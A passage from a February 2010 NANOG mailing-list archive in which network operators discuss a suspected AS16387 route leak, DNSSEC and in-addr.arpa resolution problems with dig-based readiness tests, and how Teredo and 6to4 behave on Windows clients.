Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From emccrckn at memphis.edu Mon Feb 15 17:13:58 2010 From: emccrckn at memphis.edu (Ernest Andrew McCracken (emccrckn)) Date: Mon, 15 Feb 2010 17:13:58 -0600 Subject: AS16387 leaking routes In-Reply-To: <75cb24521002151446x68801f7dxbcf31b88fc7cf07c@mail.gmail.com> References: , <75cb24521002151446x68801f7dxbcf31b88fc7cf07c@mail.gmail.com> Message-ID: There are other ASN changes as well as from other peers. Here are some just a few minutes old. Date|Time|timestamp|Peer IP|Peer ASN|Event Description|Prefix|old AS|new AS 20100215|17:11:13|1266275473183|164.128.32.11|3303|ORIGIN_CHANGE|192.156.97/24|5651|16387 20100215|17:11:13|1266275473309|164.128.32.11|3303|PING REQUEST|198.133.160.1 20100215|17:11:14|1266275474310|164.128.32.11|3303|PING RESPONSE|198.133.160.1|NO RESPONSE 20100215|17:11:14|1266275474310|164.128.32.11|3303|PING REQUEST|198.133.160.2 20100215|17:11:15|1266275475311|164.128.32.11|3303|PING RESPONSE|198.133.160.2|NO RESPONSE 20100215|17:10:05|1266275405989|164.128.32.11|3303|ORIGIN_CHANGE|91.200.172/22|43929|16387 20100215|17:05:13|1266275113867|164.128.32.11|3303|ORIGIN_CHANGE|193.169.44/23|49381|16387 20100215|16:59:02|1266274742071|154.11.11.113|852|ORIGIN_CHANGE|20.132.1/24|21877|16387 20100215|16:55:23|1266274523372|154.11.98.225|852|ORIGIN_CHANGE|91.210.10/24|47245|16387 20100215|16:50:47|1266274247250|154.11.11.113|852|ORIGIN_CHANGE|141.197.8/23|22764|16387 all with ridiculously long paths ofc. -Ernest McCracken ________________________________________ From: christopher.morrow at gmail.com [christopher.morrow at gmail.com] On Behalf Of Christopher Morrow [morrowc.lists at gmail.com] Sent: Monday, February 15, 2010 4:46 PM To: Ernest Andrew McCracken (emccrckn) Cc: nanog at nanog.org Subject: Re: AS16387 leaking routes On Mon, Feb 15, 2010 at 5:32 PM, Ernest Andrew McCracken (emccrckn) wrote: > Has anyone seen the strange activity from AS16387? Did they leak their entire table? Our route collectors are showing AS16387 originating large numbers of prefixes. It looks like we caught the tail end of this activity as they are now announcing updates with massive amounts of prepending. 16387 is a uunet customer, it seems, who's only annoucing (now) 2 prefixes... Robtex seems to support them only having a single upstream (701). I think 701 still prefix-lists all their customers. You saw this through 3303 without 701 (it seems?) in the path, The orignal prefix looks actually like 95.79.192.0/19 in the path: 34533 16387 that looks like ESamara trying to poison their paths toward 'healthy directions, LLC". maybe ESamara saw something they disliked from this part of the network? -Chris From marka at isc.org Mon Feb 15 17:29:28 2010 From: marka at isc.org (Mark Andrews) Date: Tue, 16 Feb 2010 10:29:28 +1100 Subject: in-addr.arpa server problems for europe? In-Reply-To: Your message of "Tue, 16 Feb 2010 10:12:15 +1100." <201002152312.o1FNCFq8098232@drugs.dv.isc.org> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <87iq9ys512.fsf@mid.deneb.enyo.de> <201002152312.o1FNCFq8098232@drugs.dv.isc.org> Message-ID: <201002152329.o1FNTSpJ098609@drugs.dv.isc.org> In message <201002152312.o1FNCFq8098232 at drugs.dv.isc.org>, Mark Andrews writes: > > In message <87iq9ys512.fsf at mid.deneb.enyo.de>, Florian Weimer writes: > > * Stephane Bortzmeyer: > > > > > It is highly improbable that all these name servers are unreachable > > > from you. Therefore, I suspect that *content* is the issue. RIPE-NCC > > > zones are signed with DNSSEC. Are you sure you do not have a broken > > > middlebox which deletes DNSSEC-signed answers? > > > > Ahem. dig's +trace doesn't use EDNS by default, so no signatures and > > (usually) no large responses. > > I actually suspect no IPv6 path rather than DNSSEC, add a -4 to force IPv4. > > drugs# foreach h ( SUNIC.SUNET.SE TINNIE.ARIN.NET NS-PRI.RIPE.NET NS3.NIC.FR > SEC3.APNIC.NET SEC1.APNIC.NET SNS-PB.ISC.ORG ) > foreach? echo $h `dig +short $h aaaa` > foreach? end > SUNIC.SUNET.SE 2001:6b0:7::2 > TINNIE.ARIN.NET 2001:500:13::c7d4:35 > NS-PRI.RIPE.NET 2001:610:240:0:53::3 > NS3.NIC.FR 2001:660:3006:1::1:1 > SEC3.APNIC.NET 2001:dc0:1:0:4777::140 > SEC1.APNIC.NET 2001:dc0:2001:a:4608::59 > SNS-PB.ISC.ORG 2001:500:2e::1 > drugs# Also a more recent DiG than from BIND 9.3.3 would have helped. :-) > Mark > -- > Mark Andrews, ISC > 1 Seymour St., Dundas Valley, NSW 2117, Australia > PHONE: +61 2 9871 4742 INTERNET: marka at isc.org > -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From tore.anderson at redpill-linpro.com Mon Feb 15 17:32:37 2010 From: tore.anderson at redpill-linpro.com (Tore Anderson) Date: Tue, 16 Feb 2010 00:32:37 +0100 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> Message-ID: <4B79D995.80707@redpill-linpro.com> * Nathan Ward > You are very unlikely to get traffic from Teredo, because: > 1) Windows only asks for AAAA if it has non-Teredo IPv6 connectivity > 2) When Windows has non-Teredo IPv6 connectivity and so can ask for > AAAA, preference for reaching your web content is going to be > non-Teredo IPv6 -> IPv4 -> Teredo, due to the prefix policy table, > unless you have an AAAA in 2001::/32 (Teredo space), in which case it > will prefer IPv4 -> Teredo. > > With 6to4, Windows hosts will ask for AAAA, and will prefer non-6to4 > IPv6 over 6to4 over IPv4. I'm a little surprised at how little 6to4 > traffic you get. > > Teredo gets most use when an application asks for a connection to a > certain IPv6 address, without DNS. This is most common in peer to > peer - you're not going to levels of web traffic and P2P traffic > using Teredo that are comparable ratios to IPv4. When it comes to HTTP traffic, that's not always the case: The Opera web browser in all recent versions will unconditionally prefer IPv6 (including Teredo and 6to4) over IPv4. Since Windows Vista and newer automatically configure Teredo and/or 6to4, this is the biggest single reason for regular clients being unable to access dualstacked websites here in Norway, according to my measurements (which are done in a similar fashion to yours). In case you're interested, I've been posting reports to the ipv6-ops list about it for a few months now: http://thread.gmane.org/gmane.org.operators.ipv6/2636 http://thread.gmane.org/gmane.org.operators.ipv6/2683 http://thread.gmane.org/gmane.org.operators.ipv6/2764 http://thread.gmane.org/gmane.org.operators.ipv6/2908 Opera has fortunately improved the behaviour in their next version (10.50) by simply using getaddrinfo() on Windows. It is due to be released in a month or two - hopefully then I'll be able to talk some of my customers into dualstacking their content. Best regards, -- Tore Anderson Redpill Linpro AS - http://www.redpill-linpro.com/ Tel: +47 21 54 41 27 From marka at isc.org Mon Feb 15 17:37:05 2010 From: marka at isc.org (Mark Andrews) Date: Tue, 16 Feb 2010 10:37:05 +1100 Subject: in-addr.arpa server problems for europe? In-Reply-To: Your message of "Mon, 15 Feb 2010 19:04:49 BST." <017901caae69$5d9e8770$18db9650$@nl> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> <017901caae69$5d9e8770$18db9650$@nl> Message-ID: <201002152337.o1FNb5mZ098702@drugs.dv.isc.org> In message <017901caae69$5d9e8770$18db9650$@nl>, "Mark Scholten" writes: > > > > -----Original Message----- > > From: Tony Finch [mailto:fanf2 at hermes.cam.ac.uk] On Behalf Of Tony > > Finch > > Sent: Monday, February 15, 2010 6:21 PM > > To: Mark Scholten > > Cc: nanog at nanog.org > > Subject: RE: in-addr.arpa server problems for europe? > > > > On Mon, 15 Feb 2010, Mark Scholten wrote: > > > > > > I've seen problems that are only there because of DNSSEC, so if there > > is a > > > problem starting with trying to disable DNSSEC could be a good idea. > > As long > > > as not all rootzones are signed I don't see a good reason to use > > DNSSEC at > > > the moment. > > > > You realise that two of them are signed now and the rest will be signed > > by > > 1st July? > > > > Tony. > > Yes, I realise that. I also realise that not all nameserver software can > work as it work with DNSSEC. That is also a problem that has to be solved > and for as far as I know all nameserver software we use support it or will > support it in the future. As long as it is not supported by all nameserver > software you can keep problems. Nameservers that are not DNSSEC aware will not get responses that contain DNSSEC records unless a client explicitly requests a DNSSEC record type or make a * (ANY) request. There is no problem to solve. Just a lot of misunderstanding. That said the majority of nameservers on the planet are DNSSEC aware and will request the DNSSEC record to be returned. They will also fall back to plain DNS if middleware blocks the response. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From marka at isc.org Mon Feb 15 18:16:20 2010 From: marka at isc.org (Mark Andrews) Date: Tue, 16 Feb 2010 11:16:20 +1100 Subject: DNSSEC Readiness In-Reply-To: Your message of "Mon, 15 Feb 2010 10:14:54 -0800." <4B798F1E.6080403@knownelement.com> References: <4B798F1E.6080403@knownelement.com> Message-ID: <201002160016.o1G0GKUT099077@drugs.dv.isc.org> In message <4B798F1E.6080403 at knownelement.com>, Charles N Wyble writes: > All, > > How are folks verifying DNSSEC readiness of their environments? Any > existing testing methodologies / resources that folks are using? > > It seems like this is something that will become a front and center > issue for help desks everywhere pretty quick. :) Ideally the more we can > stave off issues through proactive testing/fixing the better. Make the following queries from your recursive servers. If you force the query source in the nameserver add a "-b
" to match. dig -4 ns . +norec @l.root-servers.net dig -4 ns . +dnssec +cd +norec @l.root-servers.net dig -4 any . +dnssec +cd +norec @l.root-servers.net dig -4 any . +dnssec +cd +norec @l.root-servers.net +vc If any of them fail you need to fix your middleware and / or firewall on the box. The first +dnssec query checks that unfragmented DNSSEC responses over 512 bytes are passed. I get 801 bytes today when I run this test. The second +dnssec query checks that fragmented DNSSEC responses are passed. I get 1906 bytes today when I run this test. The third +dnsec query checks that DNSSEC responses over TCP are passed. The non +dnssec query is a control query to check that you can reach l.root-servers.net. Repeat for IPv6. dig -6 ns . +norec @l.root-servers.net dig -6 ns . +dnssec +cd +norec @l.root-servers.net dig -6 any . +dnssec +cd +norec @l.root-servers.net dig -6 any . +dnssec +cd +norec @l.root-servers.net +vc Mark > - -- > Charles N Wyble > Linux Systems Engineer > charles at knownelement.com (818)280-7059 > http://www.knownelement.com > Unless agreed upon, assume everything in this e-mail might be blogged. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkt5jxoACgkQJmrRtQ6zKE94eQCghyDn96HG2g7G1MDogj/yy1WB > GFQAn22n3a48Mt9ssiwfyqN1Ne0N+X6L > =Xt79 > -----END PGP SIGNATURE----- > -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From mark at streamservice.nl Mon Feb 15 20:13:55 2010 From: mark at streamservice.nl (Mark Scholten) Date: Tue, 16 Feb 2010 03:13:55 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <201002152337.o1FNb5mZ098702@drugs.dv.isc.org> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> <017901caae69$5d9e8770$18db9650$@nl> <201002152337.o1FNb5mZ098702@drugs.dv.isc.org> Message-ID: <01c201caaead$b115eda0$1341c8e0$@nl> > -----Original Message----- > From: marka at isc.org [mailto:marka at isc.org] > Sent: Tuesday, February 16, 2010 12:37 AM > To: Mark Scholten > Cc: 'Tony Finch'; nanog at nanog.org > Subject: Re: in-addr.arpa server problems for europe? > > > In message <017901caae69$5d9e8770$18db9650$@nl>, "Mark Scholten" > writes: > > > > > > > -----Original Message----- > > > From: Tony Finch [mailto:fanf2 at hermes.cam.ac.uk] On Behalf Of Tony > > > Finch > > > Sent: Monday, February 15, 2010 6:21 PM > > > To: Mark Scholten > > > Cc: nanog at nanog.org > > > Subject: RE: in-addr.arpa server problems for europe? > > > > > > On Mon, 15 Feb 2010, Mark Scholten wrote: > > > > > > > > I've seen problems that are only there because of DNSSEC, so if > there > > > is a > > > > problem starting with trying to disable DNSSEC could be a good > idea. > > > As long > > > > as not all rootzones are signed I don't see a good reason to use > > > DNSSEC at > > > > the moment. > > > > > > You realise that two of them are signed now and the rest will be > signed > > > by > > > 1st July? > > > > > > Tony. > > > > Yes, I realise that. I also realise that not all nameserver software > can > > work as it work with DNSSEC. That is also a problem that has to be > solved > > and for as far as I know all nameserver software we use support it or > will > > support it in the future. As long as it is not supported by all > nameserver > > software you can keep problems. > > Nameservers that are not DNSSEC aware will not get responses that > contain DNSSEC records unless a client explicitly requests a DNSSEC > record type or make a * (ANY) request. > > There is no problem to solve. Just a lot of misunderstanding. > > That said the majority of nameservers on the planet are DNSSEC aware > and will request the DNSSEC record to be returned. They will also > fall back to plain DNS if middleware blocks the response. As you've understood I need to read something extra about DNSSEC support. The most things I know about DNSSEC are based on my contacts with software writers that create nameservers and system administrators maintaining multiple nameservers. So if I understand it correctly; if a resolver requests DNSSEC information (together with for example www.domain.tld) and 1 resolver before the AUTH nameserver doesn't have DNSSEC it won't ask/require DNSSEC? In that case men in the middle attacks are still possible. Also note that a provider might have multiple resolvers with some using/able to provide DNSSEC and others without DNSSEC support. Mark From morrowc.lists at gmail.com Mon Feb 15 20:19:44 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 15 Feb 2010 21:19:44 -0500 Subject: AS16387 leaking routes In-Reply-To: References: <75cb24521002151446x68801f7dxbcf31b88fc7cf07c@mail.gmail.com> Message-ID: <75cb24521002151819v6ec2b158qc3e76d37d48229ce@mail.gmail.com> On Mon, Feb 15, 2010 at 6:13 PM, Ernest Andrew McCracken (emccrckn) wrote: > There are other ASN changes as well as from other peers. Here are some just a few minutes old. > > Date|Time|timestamp|Peer IP|Peer ASN|Event Description|Prefix|old AS|new AS > > 20100215|17:11:13|1266275473183|164.128.32.11|3303|ORIGIN_CHANGE|192.156.97/24|5651|16387 don't know what to tell ya... I only see 2 routes from 16387 in routeviews or other places I can view routing info :( This isn't some off-by-one error type thing in your collector code? -Chris From morrowc.lists at gmail.com Mon Feb 15 20:21:44 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 15 Feb 2010 21:21:44 -0500 Subject: AS16387 leaking routes In-Reply-To: <75cb24521002151819v6ec2b158qc3e76d37d48229ce@mail.gmail.com> References: <75cb24521002151446x68801f7dxbcf31b88fc7cf07c@mail.gmail.com> <75cb24521002151819v6ec2b158qc3e76d37d48229ce@mail.gmail.com> Message-ID: <75cb24521002151821o361c0760s65268e73264256bd@mail.gmail.com> On Mon, Feb 15, 2010 at 9:19 PM, Christopher Morrow wrote: > On Mon, Feb 15, 2010 at 6:13 PM, Ernest Andrew McCracken (emccrckn) > wrote: >> There are other ASN changes as well as from other peers. Here are some just a few minutes old. >> >> Date|Time|timestamp|Peer IP|Peer ASN|Event Description|Prefix|old AS|new AS >> >> 20100215|17:11:13|1266275473183|164.128.32.11|3303|ORIGIN_CHANGE|192.156.97/24|5651|16387 > > don't know what to tell ya... I only see 2 routes from 16387 in > routeviews or other places I can view routing info :( This isn't some > off-by-one error type thing in your collector code? Oh, robtex seems uncomplete, or RIS thinks there are other Transits for 16387: sprint + 701 transit...(both filter customers) -Chris From marka at isc.org Mon Feb 15 21:20:20 2010 From: marka at isc.org (Mark Andrews) Date: Tue, 16 Feb 2010 14:20:20 +1100 Subject: in-addr.arpa server problems for europe? In-Reply-To: Your message of "Tue, 16 Feb 2010 03:13:55 BST." <01c201caaead$b115eda0$1341c8e0$@nl> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> <017901caae69$5d9e8770$18db9650$@nl> <201002152337.o1FNb5mZ098702@drugs.dv.isc.org> <01c201caaead$b115eda0$1341c8e0$@nl> Message-ID: <201002160320.o1G3KK2k006474@drugs.dv.isc.org> In message <01c201caaead$b115eda0$1341c8e0$@nl>, "Mark Scholten" writes: > > > > -----Original Message----- > > From: marka at isc.org [mailto:marka at isc.org] > > Sent: Tuesday, February 16, 2010 12:37 AM > > To: Mark Scholten > > Cc: 'Tony Finch'; nanog at nanog.org > > Subject: Re: in-addr.arpa server problems for europe? > > > > > > In message <017901caae69$5d9e8770$18db9650$@nl>, "Mark Scholten" > > writes: > > > > > > > > > > -----Original Message----- > > > > From: Tony Finch [mailto:fanf2 at hermes.cam.ac.uk] On Behalf Of Tony > > > > Finch > > > > Sent: Monday, February 15, 2010 6:21 PM > > > > To: Mark Scholten > > > > Cc: nanog at nanog.org > > > > Subject: RE: in-addr.arpa server problems for europe? > > > > > > > > On Mon, 15 Feb 2010, Mark Scholten wrote: > > > > > > > > > > I've seen problems that are only there because of DNSSEC, so if > > there > > > > is a > > > > > problem starting with trying to disable DNSSEC could be a good > > idea. > > > > As long > > > > > as not all rootzones are signed I don't see a good reason to use > > > > DNSSEC at > > > > > the moment. > > > > > > > > You realise that two of them are signed now and the rest will be > > signed > > > > by > > > > 1st July? > > > > > > > > Tony. > > > > > > Yes, I realise that. I also realise that not all nameserver software > > can > > > work as it work with DNSSEC. That is also a problem that has to be > > solved > > > and for as far as I know all nameserver software we use support it or > > will > > > support it in the future. As long as it is not supported by all > > nameserver > > > software you can keep problems. > > > > Nameservers that are not DNSSEC aware will not get responses that > > contain DNSSEC records unless a client explicitly requests a DNSSEC > > record type or make a * (ANY) request. > > > > There is no problem to solve. Just a lot of misunderstanding. > > > > That said the majority of nameservers on the planet are DNSSEC aware > > and will request the DNSSEC record to be returned. They will also > > fall back to plain DNS if middleware blocks the response. > > As you've understood I need to read something extra about DNSSEC support. > The most things I know about DNSSEC are based on my contacts with software > writers that create nameservers and system administrators maintaining > multiple nameservers. So if I understand it correctly; if a resolver > requests DNSSEC information (together with for example www.domain.tld) and 1 > resolver before the AUTH nameserver doesn't have DNSSEC it won't ask/require > DNSSEC? In that case men in the middle attacks are still possible. Also note > that a provider might have multiple resolvers with some using/able to > provide DNSSEC and others without DNSSEC support. > > Mark DNSSEC requires a DNSSEC clear path between the validator and the authoritative servers. If there is not a DNSSEC clear path the answers will be rejected as they cannot be validated. A man in the middle can launch a denial of service attack but cannot launch a spoofing attack. Most validators, at the moment, are co-located with iterative resolvers which provide the DNSSEC clear path. Some applications are fully DNSSEC aware and do their own validation in which case there needs to be a DNSSEC clear path to the recursive resolver and onwards to the authoritative servers. Other applications are only AD aware, in which case they trust the recursive resolver and need channel security between the application and the recursive resolver. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From joly at punkcast.com Mon Feb 15 23:54:24 2010 From: joly at punkcast.com (Joly MacFie) Date: Tue, 16 Feb 2010 00:54:24 -0500 Subject: in-addr.arpa server problems for europe? In-Reply-To: <201002160320.o1G3KK2k006474@drugs.dv.isc.org> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> <017901caae69$5d9e8770$18db9650$@nl> <201002152337.o1FNb5mZ098702@drugs.dv.isc.org> <01c201caaead$b115eda0$1341c8e0$@nl> <201002160320.o1G3KK2k006474@drugs.dv.isc.org> Message-ID: <313b48d1002152154s1555c8a5g22943f0aeab1976@mail.gmail.com> I don't know if it's material as most DNS stuff is over my head, but Geoff Houston has written about the in-addr.arpa situation in the most recent edition of his Internet Society ISP Column http://isoc.org/wp/ispcolumn/?p=246 -- --------------------------------------------------------------- Joly MacFie 917 442 8665 Skype:punkcast WWWhatsup NYC - http://wwwhatsup.com http://pinstand.com - http://punkcast.com --------------------------------------------------------------- From swmike at swm.pp.se Tue Feb 16 00:34:49 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Tue, 16 Feb 2010 07:34:49 +0100 (CET) Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> Message-ID: On Tue, 16 Feb 2010, Nathan Ward wrote: > You are very unlikely to get traffic from Teredo, because: > 1) Windows only asks for AAAA if it has non-Teredo IPv6 connectivity Please don't just say "windows" as the different versions of windows behave differently, as we've already discussed in the thread here: Windows XP will happily use Teredo when faced with AAAA response only. What you're describing is Vista and Win7 I guess? -- Mikael Abrahamsson email: swmike at swm.pp.se From nanog at daork.net Tue Feb 16 00:37:58 2010 From: nanog at daork.net (Nathan Ward) Date: Tue, 16 Feb 2010 19:37:58 +1300 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> Message-ID: <8F0F75CE-D5BE-4C83-B8EA-50F602932BC7@daork.net> On 16/02/2010, at 7:34 PM, Mikael Abrahamsson wrote: > On Tue, 16 Feb 2010, Nathan Ward wrote: > >> You are very unlikely to get traffic from Teredo, because: >> 1) Windows only asks for AAAA if it has non-Teredo IPv6 connectivity > > Please don't just say "windows" as the different versions of windows behave differently, as we've already discussed in the thread here: > > > > Windows XP will happily use Teredo when faced with AAAA response only. > > What you're describing is Vista and Win7 I guess? Yep, sorry! XP won't ask for AAAA unless it has non-Teredo connectivity though I don't think. -- Nathan Ward From swmike at swm.pp.se Tue Feb 16 00:47:03 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Tue, 16 Feb 2010 07:47:03 +0100 (CET) Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: <8F0F75CE-D5BE-4C83-B8EA-50F602932BC7@daork.net> References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> <8F0F75CE-D5BE-4C83-B8EA-50F602932BC7@daork.net> Message-ID: On Tue, 16 Feb 2010, Nathan Ward wrote: > XP won't ask for AAAA unless it has non-Teredo connectivity though I don't think. That doesn't compute considering all the XP machines with Teredo addresses that asked for my AAAA only content. "Of the users getting v6 only gif from non-tunnel-space, 58% were from Proxad (free.fr I believe), and then on the list came UNINET, SUNET, FUNET (university networks in .no, .se and .fi) and Hurricane electric. 98% of Teredo users run Windows XP. 88% of 6to4 users run Windows Vista." So 98% of Teredo users getting the v6only content (using DNS) was using WinXP, so it does seem it does AAAA lookups. -- Mikael Abrahamsson email: swmike at swm.pp.se From nanog at daork.net Tue Feb 16 00:50:46 2010 From: nanog at daork.net (Nathan Ward) Date: Tue, 16 Feb 2010 19:50:46 +1300 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> <8F0F75CE-D5BE-4C83-B8EA-50F602932BC7@daork.net> Message-ID: <84BC7B12-2AAB-4663-918A-CEF288CB2092@daork.net> On 16/02/2010, at 7:47 PM, Mikael Abrahamsson wrote: > On Tue, 16 Feb 2010, Nathan Ward wrote: > >> XP won't ask for AAAA unless it has non-Teredo connectivity though I don't think. > > That doesn't compute considering all the XP machines with Teredo addresses that asked for my AAAA only content. > > > > "Of the users getting v6 only gif from non-tunnel-space, 58% were from Proxad (free.fr I believe), and then on the list came UNINET, SUNET, FUNET (university networks in .no, .se and .fi) and Hurricane electric. > > 98% of Teredo users run Windows XP. > 88% of 6to4 users run Windows Vista." > > So 98% of Teredo users getting the v6only content (using DNS) was using WinXP, so it does seem it does AAAA lookups. I mean non-Teredo connectivity in addition to Teredo. Perhaps they have Teredo and 6to4, and could not reach you via 6to4 so instead used Teredo, or, any number of scenarios. -- Nathan Ward From swmike at swm.pp.se Tue Feb 16 01:14:13 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Tue, 16 Feb 2010 08:14:13 +0100 (CET) Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: <84BC7B12-2AAB-4663-918A-CEF288CB2092@daork.net> References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> <8F0F75CE-D5BE-4C83-B8EA-50F602932BC7@daork.net> <84BC7B12-2AAB-4663-918A-CEF288CB2092@daork.net> Message-ID: On Tue, 16 Feb 2010, Nathan Ward wrote: > Perhaps they have Teredo and 6to4, and could not reach you via 6to4 so > instead used Teredo, or, any number of scenarios. I think their only IPv6 connectivity was Teredo (for instance, they're behind NAT), and thus they used it to get the IPv6 only content. -- Mikael Abrahamsson email: swmike at swm.pp.se From matthew at sorbs.net Tue Feb 16 01:16:18 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Tue, 16 Feb 2010 08:16:18 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <201002152312.o1FNCFq8098232@drugs.dv.isc.org> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <87iq9ys512.fsf@mid.deneb.enyo.de> <201002152312.o1FNCFq8098232@drugs.dv.isc.org> Message-ID: <4B7A4642.2040308@sorbs.net> Mark Andrews wrote: > In message <87iq9ys512.fsf at mid.deneb.enyo.de>, Florian Weimer writes: > >> * Stephane Bortzmeyer: >> >> >>> It is highly improbable that all these name servers are unreachable >>> from you. Therefore, I suspect that *content* is the issue. RIPE-NCC >>> zones are signed with DNSSEC. Are you sure you do not have a broken >>> middlebox which deletes DNSSEC-signed answers? >>> >> Ahem. dig's +trace doesn't use EDNS by default, so no signatures and >> (usually) no large responses. >> > > I actually suspect no IPv6 path rather than DNSSEC, add a -4 to force IPv4. > And that is the solution! (and I upgraded the resolver on all the machines to 9.6.1-P1 before getting that far.) Thanks, Michelle From charles at knownelement.com Tue Feb 16 01:58:39 2010 From: charles at knownelement.com (Charles N Wyble) Date: Mon, 15 Feb 2010 23:58:39 -0800 Subject: DNSSEC Readiness In-Reply-To: <201002160016.o1G0GKUT099077@drugs.dv.isc.org> References: <4B798F1E.6080403@knownelement.com> <201002160016.o1G0GKUT099077@drugs.dv.isc.org> Message-ID: <4B7A502F.8000204@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mark Andrews wrote: > In message <4B798F1E.6080403 at knownelement.com>, Charles N Wyble writes: >> All, >> >> How are folks verifying DNSSEC readiness of their environments? Any >> existing testing methodologies / resources that folks are using? >> >> It seems like this is something that will become a front and center >> issue for help desks everywhere pretty quick. :) Ideally the more we can >> stave off issues through proactive testing/fixing the better. > > Make the following queries from your recursive servers. If you > force the query source in the nameserver add a "-b
" to > match. > > dig -4 ns . +norec @l.root-servers.net > dig -4 ns . +dnssec +cd +norec @l.root-servers.net > dig -4 any . +dnssec +cd +norec @l.root-servers.net > dig -4 any . +dnssec +cd +norec @l.root-servers.net +vc > > If any of them fail you need to fix your middleware and / or firewall > on the box. > > The first +dnssec query checks that unfragmented DNSSEC responses > over 512 bytes are passed. I get 801 bytes today when I run this > test. > > The second +dnssec query checks that fragmented DNSSEC responses are > passed. I get 1906 bytes today when I run this test. > > The third +dnsec query checks that DNSSEC responses over TCP are > passed. > > The non +dnssec query is a control query to check that you can reach > l.root-servers.net. > > Repeat for IPv6. > > dig -6 ns . +norec @l.root-servers.net > dig -6 ns . +dnssec +cd +norec @l.root-servers.net > dig -6 any . +dnssec +cd +norec @l.root-servers.net > dig -6 any . +dnssec +cd +norec @l.root-servers.net +vc > > Mark Thank you. That's a nice quick/dirty test. All 4 commands worked. If folks are curious, my setup is Ubuntu 9.10 client, Ubuntu 9.10 server running bind and a cisco 1841 running 12.4(18). I don't have a Windows box handy to test on. How would one test with nslookup anyway? Or does it only matter if the local DNS server can do the lookup and clients will just work? Though one would still need to test from Windows if you have AD for DNS I suppose. *shrugs* Ok.... that's the client side. How about the server side? I'm currently using my registrars DNS servers. I haven't seen anything in their control panel about DNSSEC. One item on my TODO list is to move DNS to my BIND servers. Quick search turns up http://www.howtoforge.com/debian_bind9_master_slave_system which mentions a few commands and couple stanzas. Is that all it takes? How do you verify that you are .... compliant? complete? I mean SSL based PKI is pretty straightforward and I understand it and can verify that I'm compliant/complete (run my own ca, issue certs, delegate trust etc). Guess I need to do more reading on DNSSEC and how to integrate into the global DNSSEC infrastructure (such as it is and will emerge to be). I have a test domain that I use for things like this. I would like to setup DNSSEC and then positively/negatively test it. Just not sure how. Presumably one should attempt to MITM the request and make sure the resolver complains yes? This is at my home network and as such I have a great degree of latitude. For folks who have managers to report to, what are the justifications for deploying DNSSEC? I think one would do it in stages 1)Make sure their infrastructure can at least handle the DNS protocol changes that DNSSEC brings about (ie the 4 test commands above pass) 2)Implement a parallel environment with and without DNSSEC (is this possible/desirable?) 3)Sign their records. Anyway just some thoughts. Thanks to folks who have responded so far. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with 